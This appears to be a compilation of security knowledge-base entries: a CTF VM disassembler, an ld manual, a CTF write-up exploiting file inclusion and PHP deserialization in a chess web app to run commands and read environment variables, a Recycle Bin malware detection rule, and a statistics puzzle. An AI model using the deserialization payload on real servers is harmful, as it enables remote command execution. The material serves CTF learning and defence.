for i in range(0xf4, 0x13c):
s[i] ^= key[i%4]
key = [0x73, 0xd4, 0x01, 0xac][::-1]
for i in range(0x190, 0x21c):
s[i] ^= key[i%4]
opcode_table = {}
for line in open("parsed").readlines():
name, op, args = line.strip().split("|")
args = args.split()
opcode_table[int(op, 16)] = name, args
pc = 0
hadret = True
while pc < len(s):
if hadret and pc % 4 == 0:
hadret = False
print "----"
try:
name, args = opcode_table[s[pc]]
except:
name = hex(s[pc])
args = []
if name == "RET":
hadret = True
#print name, args
pc0 = pc
pc += 1
act_args = s[pc:pc+len(args)]
length = len(args)
if (name == "EECALL" or name == "EELOADA" or name == "EESAVEA" or
name == "EELOAD" or name == "EESAVE"):
act_args[-1] *= 4
if 0 and name == "EEWRITE":
slot, num = act_args[:2]
act_args = [slot*4] + s[pc+2:pc+2+num]
length = 2 + num
if name == "WRBLK":
num = act_args[0] * 4
act_args = s[pc+1:pc+1+num]
length = 1 + num
if name == "STRSET" or name == "STRCMP" or name == "STRFCHR":
act_args = []
i = pc
while s[i]:
act_args.append(s[i])
i += 1
length = i - pc + 1
act_args = ", ".join(["{:02x}".format(a) for a in act_args])
pc += length
print "{:03x}: {} {}".format(pc0, name, act_args)
|
sec-knowleage
|
ld
===
将目标文件连接为可执行程序
## 补充说明
**ld命令** 是GNU的连接器,将目标文件连接为可执行程序。
### 语法
```shell
ld(选项)(参数)
ld [options] objfile ...
```
### 选项
```shell
-o:指定输出文件名;
-e:指定程序的入口符号。
```
### 参数
目标文件:指定需要连接的目标文件。
### 实例
这告诉ld通过将文件 `/lib/crt0.o` 与 `hello.o` 和库 `libc.a` 链接起来,生成一个名为 `output` 的文件,该文件将来自标准搜索目录。
```shell
ld -o <output> /lib/crt0.o hello.o -lc
ld -o output /lib/crt0.o hello.o -lc
```
|
sec-knowleage
|
# Episode 1: Challenge 3
## Description
> Your opponents are always learning. They’ll keep coming back stronger.
>
> Hint: Opponents patch their vulnerabilities, too. The same strategy won’t work twice.
A link to an online chess game was attached.
## Solution
This is the follow-up for [Episode 0: Challenge 1](e00c01.md).
This time, they removed the access to the admin panel, forcing us to search for a different attack vector.
The GUI has a large "start" button which can be used to reset the game. This is the Javascript that backs the logic:
```html
<script>
function load_baseboard() {
const url = "load_board.php"
let xhr = new XMLHttpRequest()
const formData = new FormData();
formData.append('filename', 'baseboard.fen')
xhr.open('POST', url, true)
xhr.send(formData);
window.location.href = "index.php";
}
</script>
```
As we can see, `load_board` is supposed to be called with `baseboard.fen`, which seems to return the initial board arrangement in FEN format:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_02]
└─$ curl 'https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php' -X POST -d "filename=baseboard.fen"
Loading Fen: rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1
```
What if we try to load a different file?
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_02]
└─$ curl 'https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php' -X POST -d "filename=/etc/passwd"
unsupported board
```
That doesn't work, but luckily this does:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_02]
└─$ curl 'https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php' -X POST -d "filename=index.php"
```
Using this Local File Inclusion vulnerability, we can leak the server side files:
<details>
<summary>Click to expand</summary>
### index.php
```php
<?php
session_save_path('/mnt/disks/sessions');
session_start();
if (isset($_GET['restart'])) {
session_destroy();
header("Location: ". "/");
}
if (isset($_POST['diff'])) {
$diff = $_POST['diff'];
$diff = (int) $diff;
if ($diff >= 1 && $diff <= 3) {
$_SESSION['diff'] = $diff;
}
}
//var_dump($_SESSION);
?>
<html>
<head>
<title>Hackerchess v2</title>
<style>
select,
select::before,
select::after {
box-sizing: border-box;
}
select {
background-color: transparent;
display: grid;
border: none;
padding: 0 1em 0 0;
margin: 0;
width: 100%;
font-family: 'Press Start 2P', cursive;
font-size: small;
cursor: inherit;
line-height: inherit;
}
body {
background: black;
color: green;
padding: 30px;
margin: 30px;
font-family: 'Press Start 2P', cursive;
}
table {
background: url('./assets/BG_Dot_Black.svg');
width: 500px;
height: 500px;
}
#boardwrapper {
}
table td {
border: solid green 1px;
}
tr:nth-child(2n+1):not(:last-child) > td:nth-child(2n):not(:first-child) {background: green}
tr:nth-child(2n):not(:last-child) > td:nth-child(2n+1):not(:first-child) {background: green}
a.bp {
background: url('./assets/Black_Pawn.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
td.target {
border: solid white 2px;
}
td.target > a {
display: block;
width: 100%;
height: 100%;
}
a.wp {
background: url('./assets/White_Pawn.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.bb {
background: url('./assets/Black_Bishop.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.wb {
background: url('./assets/White_Bishop.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.br {
background: url('./assets/Black_Rook.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.wr {
background: url('./assets/White_Rook.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.bn {
background: url('./assets/Black_Knight.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.wn {
background: url('./assets/White_Knight.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.bq {
background: url('./assets/Black_Queen.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.wq {
background: url('./assets/White_Queen.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.bk {
background: url('./assets/Black_King.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
a.wk {
background: url('./assets/White_King.svg');
background-repeat: no-repeat;
background-position: center;
background-size: 25px;
display:block;
width:100%;
height:100%;
}
.rank {
color: green;
background: black;
border: 0;
vertical-align: top;
}
td.file {
color: green;
background: black;
border: 0;
text-align: right;
}
#header {
color: grey;
}
#title {
color: white;
}
#timer h1 {
color: white;
font-size: 1em;
}
#start {
background: url('./assets/Start.svg');
width: 200px;
height: 50px;
}
#movehistory {
overflow: scroll;
min-width: 303px;
}
#movehistory h3 {
color: white;
text-align: left;
margin-left: 2em;
}
h3 {
padding: 0;
margin: 0;
font-weight: 300;
}
ul {
list-style-type: none; /* Remove bullets */
color: white;
}
ul > li {
height: 1.8em;
margin: 0;
}
#moveno, #frommove, #tomove {
display: inline-block;
}
#moveno {
margin-right: 3em;
}
#mainarea {
height: 31em;
display: flex;
justify-content: center;
}
.custom-select > select {
background: black;
color: white;
width: 100%;
}
#tomove, #frommove {
margin-left: 1em;
margin-right: 1em;
}
#row1 {
padding: 0;
}
#row1 > #title {
font-size: 1em;
}
#row1 > * {
width: 33%;
}
#start {
margin: 4em;
}
#timer {
top: 0;
}
#row1 > #lvl {
width: 9.3%;
}
#header, #row1 {
display: flex;
justify-content: space-between;
width: 100%;
}
#header {
display: flex;
justify-content: center;
flex-direction: column;
}
#row2 {
display: flex;
justify-content: center;
width: 100%;
}
#boardwrapper {
padding: 0em;
}
::-webkit-scrollbar {
-webkit-appearance: none;
width: 7px;
}
::-webkit-scrollbar-thumb {
border-radius: 4px;
background-color: rgba(0, 255, 0, .5);
-webkit-box-shadow: 0 0 1px rgba(255, 255, 255, .5);
}
</style>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=VT323&display=swap" rel="stylesheet">
<script
data-autoload-cookie-consent-bar="true"
data-autoload-cookie-consent-bar-intl-code=""
src="https://www.gstatic.com/brandstudio/kato/cookie_choice_component/cookie_consent_bar.v3.js">
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-06YS0MVC8B"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-06YS0MVC8B', { anonymize_ip: true, referrer: document.referrer.split('?')[0] });
</script>
<script>
let seconds = 0;
let mins = 0;
const timerId = setInterval(() => {
seconds++;
if (seconds === 60) {
seconds = 0;
mins++;
}
document.getElementById("timerh1").innerHTML = String(mins).padStart(2, '0') + ":" + String(seconds).padStart(2, '0')
}, 1000); // Execute event every second (1000 milliseconds = 1 second).
</script>
</head>
<body>
<div id="header">
<div id="row1">
<div id="title">
HACKER CHESS
</div>
<div id="timer">
<h1 id="timerh1">00:00</h1>
</div>
<div id="lvl">
<form method="POST">
<div class="custom-select">
<select name="diff" onchange='if(this.value != 0) { this.form.submit(); }'>
<option value="0">DIFFICULTY</option>
<option value="1" <?php if ($_SESSION['diff'] == 1) { echo "selected"; }?>>Impossible</option>
<option value="2" <?php if ($_SESSION['diff'] == 2) { echo "selected"; }?>>Unbeatable</option>
<option value="3" <?php if ($_SESSION['diff'] == 3) { echo "selected"; }?>>Invincible</option>
</select>
</div>
</form>
</div>
</div>
<div id="row2">
<button id="start" onclick="load_baseboard()"/>
</div>
</div>
<center>
<div id="mainarea">
<div id="boardwrapper">
<?php
use PChess\Chess\Piece;
require 'vendor/autoload.php';
use PChess\Chess\Chess;
use PChess\Chess\Output\UnicodeOutput;
use PChess\Chess\Output\HtmlOutput;
use PChess\Chess\Board;
use PChess\Chess\Output\Link;
class Stockfish
{
public $cwd = "./";
public $binary = "/usr/games/stockfish";
public $other_options = array('bypass_shell' => 'true');
public $descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
);
private $process;
private $pipes;
private $thinking_time;
public function __construct()
{
$other_options = array('bypass_shell' => 'true');
//echo "Stockfish options" . $_SESSION['thinking_time'];
if (isset($_SESSION['thinking_time']) && is_numeric($_SESSION['thinking_time'])) {
$this->thinking_time = $_SESSION['thinking_time'];
} else {
$this->thinking_time = 10;
}
$this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
}
public function passUci()
{
if (is_resource($this->process)) {
fwrite($this->pipes[0], "uci\n");
fwrite($this->pipes[0], "ucinewgame\n");
fwrite($this->pipes[0], "isready\n");
}
}
public function passPosition(string $fen)
{
fwrite($this->pipes[0], "position fen $fen\n");
fwrite($this->pipes[0], "go movetime $this->thinking_time\n");
}
public function readOutput()
{
while (true) {
usleep(100);
$s = fgets($this->pipes[1], 4096);
$str .= $s;
if (strpos(' '.$s, 'bestmove')) {
break;
}
}
return $s;
}
public function __toString()
{
return fgets($this->pipes[1], 4096);
}
public function __wakeup()
{
$this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
echo '<!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'-->';
}
}
function applyCheatsAI(Chess $chess)
{
$firstSquare = Board::SQUARES['a8'];
$lastSquare = Board::SQUARES['h1'];
for ($i = $firstSquare; $i <= $lastSquare; ++$i) {
if ($i & 0x88) {
$i += 7;
continue;
}
$piece = $chess->board[$i];
if ($piece == null) {
continue;
}
if ($piece->isPawn() && $piece->getColor() !== Piece::WHITE) {
$chess->board[$i] = new Piece(Piece::QUEEN, Piece::BLACK);
}
}
}
final class MyHtmlOutput extends HtmlOutput
{
/**
* @return array<string, array<int, string>>
*/
private static function getAllowedMoves(Chess $chess, ?string $from = null): array
{
$moves = $chess->moves($from ? Board::SQUARES[$from] : null);
$return = [];
foreach ($moves as $move) {
$return[$move->from][] = (string) $move->san;
}
return $return;
}
private static function isTurn(Chess $chess, Piece $piece): bool
{
return $piece->getColor() === $chess->turn;
}
/**
* @param array<string, array> $allowedMoves Moves resulting from self::getAllowedMoves()
*/
private static function canMove(string $from, int $to, array $allowedMoves): bool
{
$toSan = Board::algebraic($to);
if (!isset($allowedMoves[$from])) {
return false;
}
$cleanMoves = \array_map(static function (string $san) use ($from): string {
$check = \substr($san, -1);
$equalsPos = \strpos($san, '=');
if ('+' === $check || '#' === $check) {
$san = \substr($san, 0, -1);
} elseif ('O-O-O' === $san) {
$san = 'e1' === $from ? 'c1' : 'c8';
} elseif ('O-O' === $san) {
$san = 'e1' === $from ? 'g1' : 'g8';
} elseif (false !== $equalsPos) {
$san = \substr($san, 0, $equalsPos);
}
return \substr($san, -2);
}, $allowedMoves[$from]);
return \in_array($toSan, $cleanMoves, true);
}
public function generateLinks(Chess $chess, ?string $from = null, $identifier = null): array
{
$links = [];
$allowedMoves = self::getAllowedMoves($chess, $from);
/** @var int $i */
foreach ($chess->board as $i => $piece) {
$url = null;
$class = null;
$san = Board::algebraic($i);
if (null === $from) {
// move not started
if (null !== $piece && isset($allowedMoves[$san]) && self::isTurn($chess, $piece)) {
$url = $this->getStartUrl($san, $identifier);
}
} elseif ($from !== $san) {
// move started
if (self::canMove($from, $i, $allowedMoves)) {
if (null !== $movingPiece = $chess->board[Board::SQUARES[$from]]) {
if ('p' === $movingPiece->getType() && (0 === Board::rank($i) || 7 === Board::rank($i))) {
$url = $this->getPromotionUrl($from, $san, $identifier);
} else {
$url = $this->getEndUrl($from, $san, $identifier);
}
}
$class = 'target';
}
} else {
// restart move
$url = $this->getCancelUrl($identifier);
$class = 'current';
}
$links[$i] = new Link($class, $url);
}
return $links;
}
public function getStartUrl(string $from, $identifier = null): string
{
return '?move_start='.$from;
}
public function getEndUrl(string $from, string $to, $identifier = null): string
{
$data = base64_encode(serialize(array($from, $to)));
return '?move_end='.$data;
}
public function getCancelUrl($identifier = null): string
{
return '?cancel';
}
public function getPromotionUrl(string $from, string $to, $identifier = null): string
{
return '?promotion='.$from.'/'.$to;
}
}
function init_chess()
{
$chess = new Chess();
return $chess;
}
function list_moves_square(string $square, Chess $chess_state)
{
$moves = $chess_state->moves();
$valid_moves = array();
foreach ($moves as $move) {
#print ($move->from . " " . $square . "\n");
if ($move->from == $square) {
#print_r($move);
array_push($valid_moves, $move);
}
}
return $valid_moves;
}
if (isset($_SESSION['board']) && $_SESSION['board'] !== "") {
//echo "Board already set?\n";
//echo $_SESSION['board'];
$chess = unserialize($_SESSION['board']);
} else {
$chess = init_chess();
}
$output = new MyHtmlOutput();
if (isset($_GET['move_start'])) {
echo $output->render($chess, $_GET['move_start']);
} elseif (isset($_GET['move_end'])) {
$movei = unserialize(base64_decode($_GET['move_end']));
if ($chess->turn == "b") {
#XXX: this should never happen.
$chess = init_chess();
$_SESSION['board'] = serialize($chess);
die('Invalid Board state. Refresh the page');
}
echo "<!-- XXX : Debug remove this ".$movei. "-->";
$valid_moves = list_moves_square($movei[0], $chess);
$invalid_move = True;
foreach ($valid_moves as $move) {
if ($move->to == $movei[1]) {
$chess->move($move->san);
$invalid_move = False;
}
}
if (!$invalid_move) {
$stockf = new Stockfish();
$stockf->passUci();
$stockf->passPosition($chess->fen());
$move_s = $stockf->readOutput();
$move_s = explode(" ", $move_s);
$move_best = $move_s[1];
//echo $move_best;;
$bm_from = substr($move_best, 0, 2);
$bm_to = substr($move_best, 2, 2);
$chess->move(['from' => $bm_from, "to" => $bm_to]);
}
echo $output->render($chess);
if ($chess->inCheckmate()) {
if ($chess->turn != "b") {
echo '<h1>You lost! Game Over!</h1>';
} else {
echo "<h1>Winning against me won't help anymore. You need to get the flag from my envs." . "</h1>";
}
}
} else {
echo $output->render($chess);
}
$_SESSION["board"] = serialize($chess);
//echo $_SESSION['board'];
?>
</div>
<div id="movehistory">
<?php
$entries = $chess->getHistory()->getEntries();
?>
<h3>MOVES</h3>
<ul>
<?php
foreach ($entries as $entry) {
echo '<li>';
if ($entry->moveNumber == 7 && $_SESSION['cheats_enabled'] !== "0") {
applyCheatsAI($chess);
$_SESSION["board"] = serialize($chess);
}
echo '<p id="moveno">'.$entry->moveNumber;
echo '<p id="frommove">'. ' _ ' . $entry->move->from.'</p>';
echo '<p id="tomove">'. ' _ ' .$entry->move->to.'</p>';
//var_dump( $entry);
echo "</li>";
}
?>
</ul>
</div>
</div>
</center>
<script>
function load_baseboard() {
const url = "load_board.php"
let xhr = new XMLHttpRequest()
const formData = new FormData();
formData.append('filename', 'baseboard.fen')
xhr.open('POST', url, true)
xhr.send(formData);
window.location.href = "index.php";
}
</script>
<br/>
<div style="text-color: white; display: flex;"><div style="display: flex; width: 50%; justify-content: left;"><a style="color: white;" href="https://policies.google.com/">PRIVACY & TERMS</a></div><div style="display: flex; width: 50%; justify-content: right;"></div></div>
</body>
```
### load_board.php
```php
<?php
session_save_path('/mnt/disks/sessions');
session_start();
$fen = "";
if (isset($_POST['filename']) ) {
$allowed = array('fen', 'php', 'html');
$filename = $_POST['filename'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed)) {
die('unsupported board');
}
$fen = trim(file_get_contents($_POST['filename']));
# XXX: Debug remove this
echo 'Loading Fen: '. $fen;
}
else {
die("Invalid request!");
}
use PChess\Chess\Piece;
require 'vendor/autoload.php';
use PChess\Chess\Chess;
use PChess\Chess\Output\UnicodeOutput;
use PChess\Chess\Output\HtmlOutput;
use PChess\Chess\Board;
use PChess\Chess\Output\Link;
function init_chess(string $fen)
{
$chess = new Chess($fen);
return $chess;
}
$_SESSION['board'] = serialize(init_chess($fen));
?>
```
</details>
Reading through the code, it seems that this logic contains an *object deserialization* vulnerability.
Let's take a look at how a single move is executed during the game.
A board is represented by the following HTML:
```html
<table id="board"><tr><td class="file">8</td><td><a class="br"></a></td><td><a class="bn"></a></td><td><a class="bb"></a></td><td><a class="bq"></a></td><td><a class="bk"></a></td><td><a class="bb"></a></td><td><a class="bn"></a></td><td><a class="br"></a></td></tr>
<tr><td class="file">7</td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td></tr>
<tr><td class="file">6</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">5</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">4</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">3</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">2</td><td><a class="wp" href="?move_start=a2"></a></td><td><a class="wp" href="?move_start=b2"></a></td><td><a class="wp" href="?move_start=c2"></a></td><td><a class="wp" href="?move_start=d2"></a></td><td><a class="wp" href="?move_start=e2"></a></td><td><a class="wp" href="?move_start=f2"></a></td><td><a class="wp" href="?move_start=g2"></a></td><td><a class="wp" href="?move_start=h2"></a></td></tr>
<tr><td class="file">1</td><td><a class="wr"></a></td><td><a class="wn" href="?move_start=b1"></a></td><td><a class="wb"></a></td><td><a class="wq"></a></td><td><a class="wk"></a></td><td><a class="wb"></a></td><td><a class="wn" href="?move_start=g1"></a></td><td><a class="wr"></a></td></tr>
<tr><td class="file"></td><td class="rank">a</td><td class="rank">b</td><td class="rank">c</td><td class="rank">d</td><td class="rank">e</td><td class="rank">f</td><td class="rank">g</td><td class="rank">h</td></tr></table>
```
Notice how some of the pieces contain a link with `move_start=x`. For every turn, the user starts by clicking the piece which they want to move.
For example, if we click the pawn at `d2`, we get transferred to `/?move_start=d2` and the board HTML now contains:
```html
<table id="board"><tr><td class="file">8</td><td><a class="br"></a></td><td><a class="bn"></a></td><td><a class="bb"></a></td><td><a class="bq"></a></td><td><a class="bk"></a></td><td><a class="bb"></a></td><td><a class="bn"></a></td><td><a class="br"></a></td></tr>
<tr><td class="file">7</td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td><td><a class="bp"></a></td></tr>
<tr><td class="file">6</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">5</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">4</td><td></td><td></td><td></td><td class="target"><a href="?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30="></a></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">3</td><td></td><td></td><td></td><td class="target"><a href="?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDMiO30="></a></td><td></td><td></td><td></td><td></td></tr>
<tr><td class="file">2</td><td><a class="wp"></a></td><td><a class="wp"></a></td><td><a class="wp"></a></td><td class="current"><a class="wp" href="?cancel"></a></td><td><a class="wp"></a></td><td><a class="wp"></a></td><td><a class="wp"></a></td><td><a class="wp"></a></td></tr>
<tr><td class="file">1</td><td><a class="wr"></a></td><td><a class="wn"></a></td><td><a class="wb"></a></td><td><a class="wq"></a></td><td><a class="wk"></a></td><td><a class="wb"></a></td><td><a class="wn"></a></td><td><a class="wr"></a></td></tr>
<tr><td class="file"></td><td class="rank">a</td><td class="rank">b</td><td class="rank">c</td><td class="rank">d</td><td class="rank">e</td><td class="rank">f</td><td class="rank">g</td><td class="rank">h</td></tr></table></div>
```
What we see here is two squares marked as `target`s - representing the two legal locations which our pawn can move to. Each of these legal squares has a `move_end=x` link, which is used to conclude the move. The value of `move_end` is a base64 string, let's take a look at one of the strings for example:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_02]
└─$ echo YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30= | base64 -d
a:2:{i:0;s:2:"d2";i:1;s:2:"d4";}
```
This is how a PHP serialized object looks like. We can see here an **a**rray of 2 items, the first **i**ndex is a **s**tring with the value "`d2`" and the second is a **s**tring with the value of "`d4`".
The array gets deserialized by the PHP script and used to determine the move here:
```php
$movei = unserialize(base64_decode($_GET['move_end']));
```
However, at that point in the code, the server has no real control on what gets deserialized. If we provide a different object in serialized format, it will get deserialized and assigned to `$movei` (what happens later really depends on the logic of the script and on how `$movei` is used).
What object should we try to instantiate? Well, `Stockfish` is a perfect choice since it has a `__wakeup` function that gets called automatically when an object gets deserialized, and allows us to trigger an external process of our choice:
```php
class Stockfish
{
public $binary = "/usr/games/stockfish";
// ...
public function __wakeup()
{
$this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
echo '<!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'-->';
}
}
```
We even get the output of the external process as an HTML comment!
So, which command should we run? Based on the source code, we should inspect the environment variables:
```php
if ($chess->inCheckmate()) {
if ($chess->turn != "b") {
echo '<h1>You lost! Game Over!</h1>';
} else {
echo "<h1>Winning against me won't help anymore. You need to get the flag from my envs." . "</h1>";
}
}
```
Let's create a mini-script to serialize `StockFish` with our malicious command:
```php
<?php
class Stockfish
{
public $cwd = "./";
public $binary = "env | grep solve | /usr/games/stockfish";
public $other_options = array('bypass_shell' => 'true');
public $descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
);
}
$stockf = new Stockfish();
$x = serialize($stockf);
echo base64_encode($x);
?>
```
Its output:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_03]
└─$ php -e ./serialize.php
Tzo5OiJTdG9ja2Zpc2giOjQ6e3M6MzoiY3dkIjtzOjI6Ii4vIjtzOjY6ImJpbmFyeSI7czozOToiZW52IHwgZ3JlcCBzb2x2ZSB8IC91c3IvZ2FtZXMvc3RvY2tmaXNoIjtzOjEzOiJvdGhlcl9vcHRpb25zIjthOjE6e3M6MTI6ImJ5cGFzc19zaGVsbCI7czo0OiJ0cnVlIjt9czoxNDoiZGVzY3JpcHRvcnNwZWMiO2E6Mjp7aTowO2E6Mjp7aTowO3M6NDoicGlwZSI7aToxO3M6MToiciI7fWk6MTthOjI6e2k6MDtzOjQ6InBpcGUiO2k6MTtzOjE6InciO319fQ==
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_03]
└─$ php -e ./serialize.php | base64 -d
O:9:"Stockfish":4:{s:3:"cwd";s:2:"./";s:6:"binary";s:39:"env | grep solve | /usr/games/stockfish";s:13:"other_options";a:1:{s:12:"bypass_shell";s:4:"true";}s:14:"descriptorspec";a:2:{i:0;a:2:{i:0;s:4:"pipe";i:1;s:1:"r";}i:1;a:2:{i:0;s:4:"pipe";i:1;s:1:"w";}}}
```
Finally, let's provide it as the `move_end`:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001/Challenge_03]
└─$ curl "https://hackerchess2-web.h4ck.ctfcompetition.com/?move_end=$(php -e ./serialize.php)" -s | grep solve
--><!-- XXX : Debug remove this Unknown command: REDIRECT_FLAG2=https://h4ck1ng.google/solve/rc3_l1k3_4_tru3_ch355_m45t3r
```
|
sec-knowleage
|
# T1564-001-win-发现攻击者在回收站中隐藏恶意软件
## 来自ATT&CK的描述
攻击者可能会将文件和目录设置为隐藏,以逃避检测机制。为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的功能。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(对于Windows为dir /a,对于Linux和macOS为ls –a)明确要求显示隐藏文件。
在Linux和Mac上,用户只需将“.”标记为隐藏,即可将其标记为隐藏。作为文件或文件夹名称中的第一个字符。默认情况下,以“.”开头的文件和文件夹在Finder应用程序和标准命令行实用程序(如“ ls”)中不会隐藏。用户必须专门更改设置才能查看这些文件。
macOS上的文件也可以用UF_HIDDEN标志标记,这可以防止在Finder.app中看到它们,但仍然允许在Terminal.app 中看到它们。在Windows上,用户可以使用attrib.exe二进制文件将特定文件标记为隐藏。许多应用程序都会创建这些隐藏的文件和文件夹来存储信息,以免使用户的工作空间变得混乱。例如,SSH实用程序会创建一个.ssh文件夹,该文件夹处于隐藏状态,其中包含用户的已知主机和密钥。
攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,并逃避不包含对隐藏文件的调查的典型用户或系统分析。
## 测试案例
攻击者调用隐藏在回收站中的恶意程序。$recycle.bin文件夹是系统重要的隐藏文件,一般存在于磁盘根目录下。是系统“回收站”在每一个磁盘上的链接文件夹,用于保存磁盘上删除的文件或者文件夹信息,我们恢复误删除到回收站中的文件或者文件夹时大有用处。一般我们设置显示磁盘的隐藏文件后,才能看到它。
Win Vista以前Windows系统,该文件夹名称为:Recycle ;Win Vista(Win7/8)以后系统一般名称为$RECYCLE.BIN 。
## 检测日志
windows安全日志
## 测试复现
```bash
C:\Windows\system32>C:\$Recycle.bin\$R54R99P.exe
nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/
usage: C:\$Recycle.bin\$R54R99P.exe [options] target [targets...]
Targets are lists of IP addresses, DNS names, or address
ranges. Ranges can be in /nbits notation ("192.168.12.0/24")
or with a range in the last octet ("192.168.12.64-97")
-V show Version information
-f show Full NBT resource record responses (recommended)
-H generate HTTP headers
-v turn on more Verbose debugging
-n No looking up inverse names of IP addresses responding
-p <n> bind to UDP Port <n> (default=0)
-m include MAC address in response (implied by '-f')
-T <n> Timeout the no-responses in <n> seconds (default=2 secs)
-w <n> Wait <n> msecs after each write (default=10 ms)
-t <n> Try each address <n> tries (default=1)
-1 Use Winsock 1 only
-P generate results in perl hashref format
```
## 测试留痕
windows 安全日志
```log
windows server 2016 安全日志,事件ID:4688
日志名称: Security
来源: Microsoft-Windows-Security-Auditing
日期: 2021/4/6 17:39:04
事件 ID: 4688
任务类别: 进程创建
级别: 信息
关键字: 审核成功
用户: 暂缺
计算机: 12306BR0B4DD.361a.com
描述:
已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x507C3
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x1224
新进程名称: C:\$Recycle.Bin\$R54R99P.exe
令牌提升类型: %%1937
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x15d8
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: C:\$Recycle.bin\$R54R99P.exe
```
## 检测规则/思路
```yml
title: 发现攻击者在回收站中隐藏恶意软件
description: 检测攻击者执行隐藏在回收站中的恶意程序
status: experimental
references:
- https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Malware_In_recyclebin.txt
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #Windows 安全日志,进程创建
ParentProcessName:
- 'cmd.exe'
- 'ftp.exe'
- 'schtasks.exe'
- 'powershell.exe'
- 'rundll32.exe'
- 'regsvr32.exe'
- 'msiexec.exe'
Commanline: '*Recycle*'
condition: selection
level: high
```
### 建议
基于windows安全日志(高版本操作系统)或者Sysmon日志可进行有效检测。
## 参考推荐
MITRE-ATT&CK-T1564-001
<https://attack.mitre.org/techniques/T1564/001/>
windows10系统$recycle.bin的详细删除方法介绍
<https://www.pconline.com.cn/win10/1102/11023668.html>
|
sec-knowleage
|
# Statistics 2
Category: AI Research, 20 points
## Description
> Still refering to challenge Statistics1:
>
> What is the maximum number of neurons that will be dropped?
## Solution:
This is the follow-up question for [Statistics](Statistics.md).
Reminder:
> For each K'th neuron, an eight-sided die is tossed K times. The dropout is activated with probability of 1 if and only if the sum of the K tosses is larger than 3^K, and a probability of 0 otherwise.
